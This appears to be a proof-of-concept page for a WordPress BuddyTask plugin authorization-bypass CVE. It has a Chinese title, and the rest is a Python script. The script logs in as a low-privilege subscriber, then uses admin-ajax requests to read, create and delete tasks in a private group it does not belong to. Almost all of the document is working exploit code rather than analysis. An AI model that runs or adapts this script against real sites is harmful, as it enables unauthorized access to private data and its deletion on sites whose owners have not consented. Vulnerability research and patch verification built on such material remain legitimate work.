CVE-2025-14064 WordPress BuddyTask插件权限绕过漏洞

import requests import sys # CVE-2025-14064 PoC - BuddyTask Plugin Authorization Bypass # Target: WordPress site with BuddyTask plugin <= 1.3.0 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress.local' wp_admin_ajax = f'{target_url}/wp-admin/admin-ajax.php' # Authenticate as Subscriber (lowest privilege level) session = requests.Session() login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Login to WordPress session.post(f'{target_url}/wp-login.php', data=login_data) # Exploit: Access private/hidden group task board without membership # Step 1: List tasks from a private group (group_id=999) exploit_data_list = { 'action': 'buddytask_get_tasks', # AJAX action name 'group_id': '999', # Target private/hidden group 'nonce': 'attacker_can_obtain_from_source' # Some endpoints may lack nonce } print('[+] Sending task list request to private group...') response = session.post(wp_admin_ajax, data=exploit_data_list) print(f'Status: {response.status_code}') print(f'Response: {response.text[:500]}') # Step 2: Create unauthorized task exploit_data_create = { 'action': 'buddytask_create_task', 'group_id': '999', 'task_title': 'Malicious Task', 'task_content': 'Compromised via CVE-2025-14064' } print('\n[+] Creating unauthorized task...') response = session.post(wp_admin_ajax, data=exploit_data_create) print(f'Status: {response.status_code}') # Step 3: Delete tasks/exfiltrate data exploit_data_delete = { 'action': 'buddytask_delete_task', 'task_id': '1', # Target task ID 'group_id': '999' } print('\n[+] Deleting tasks from unauthorized group...') response = session.post(wp_admin_ajax, data=exploit_data_delete) print(f'Status: {response.status_code}') print('\n[!] If above requests succeeded without 403/permission error, target is vulnerable.')